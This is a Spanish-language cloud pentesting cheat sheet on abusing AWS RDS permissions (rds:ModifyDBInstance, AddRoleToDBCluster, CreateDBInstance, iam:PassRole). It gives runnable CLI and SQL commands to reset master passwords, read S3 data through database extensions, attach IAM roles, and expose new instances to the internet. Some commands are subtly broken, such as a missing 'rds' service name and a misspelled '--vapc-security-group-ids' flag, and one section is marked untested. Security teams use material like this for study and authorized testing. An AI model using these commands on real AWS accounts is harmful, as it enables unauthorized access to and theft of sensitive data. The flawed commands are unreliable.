# AWS - RDS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## RDS - Servicio de Base de Datos Relacional

Para más información sobre RDS consulta:

{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:ModifyDBInstance`

Con ese permiso, un atacante puede **modificar la contraseña del usuario maestro**, y el inicio de sesión dentro de la base de datos:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Necesitarás poder **contactar a la base de datos** (generalmente solo son accesibles desde redes internas).

**Impacto Potencial:** Encontrar información sensible dentro de las bases de datos.

### rds-db:connect

Según la [**documentación**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un usuario con este permiso podría conectarse a la instancia de DB.

### Abuso de permisos de rol IAM de RDS

#### Postgresql (Aurora)

> [!TIP]
> Si al ejecutar **`SELECT datname FROM pg_database;`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **base de datos postgresql de AWS**.

Primero puedes verificar si esta base de datos ha sido utilizada para acceder a algún otro servicio de AWS. Podrías comprobar esto mirando las extensiones instaladas:
```sql
SELECT * FROM pg_extension;
```
Si encuentras algo como **`aws_s3`** puedes asumir que esta base de datos tiene **algún tipo de acceso sobre S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**).

Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes ver allí si el **clúster tiene algún rol de IAM adjunto** en el campo **`AssociatedRoles`**. Si hay alguno, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basado en el **nombre del rol** (o si puedes obtener los **permisos** del rol) podrías **adivinar** qué acceso adicional tiene la base de datos.

Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```
Si tuvieras **credenciales de AWS en bruto**, también podrías usarlas para acceder a los datos de S3 con:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **no necesita cambiar ninguna variable del grupo de parámetros** para poder acceder a S3.

#### Mysql (Aurora)

> [!TIP]
> Dentro de un mysql, si ejecutas la consulta **`SELECT User, Host FROM mysql.user;`** y hay un usuario llamado **`rdsadmin`**, puedes asumir que estás dentro de una **base de datos mysql de AWS RDS**.

Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, tienen valores, puedes asumir que la base de datos está preparada para acceder a datos de S3.

Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes verificar si el clúster tiene algún **rol asociado**, lo que generalmente significa acceso a los servicios de AWS).

Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`

Un atacante con los permisos `rds:AddRoleToDBCluster` y `iam:PassRole` puede **agregar un rol específico a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Impacto Potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.\
Tenga en cuenta que algunas bases de datos requieren configuraciones adicionales, como Mysql, que necesita especificar el ARN del rol en los grupos de parámetros también.

### `rds:CreateDBInstance`

Solo con este permiso, un atacante podría crear una **nueva instancia dentro de un clúster** que ya existe y tiene un **rol IAM** adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
```
### `rds:CreateDBInstance`, `iam:PassRole`

> [!NOTE]
> TODO: Test

Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **crear una nueva instancia de RDS con un rol especificado adjunto**. El atacante puede entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia.

> [!WARNING]
> Algunos requisitos del rol/perfil de instancia para adjuntar (de [**aquí**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):

> - El perfil debe existir en tu cuenta.
> - El perfil debe tener un rol IAM que Amazon EC2 tenga permisos para asumir.
> - El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo `AWSRDSCustom`.
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Impacto Potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.

### `rds:AddRoleToDBInstance`, `iam:PassRole`

Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **agregar un rol específico a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.

> [!ADVERTENCIA]
> La instancia de base de datos debe estar fuera de un clúster para esto.
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impacto Potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.

{{#include ../../../banners/hacktricks-training.md}}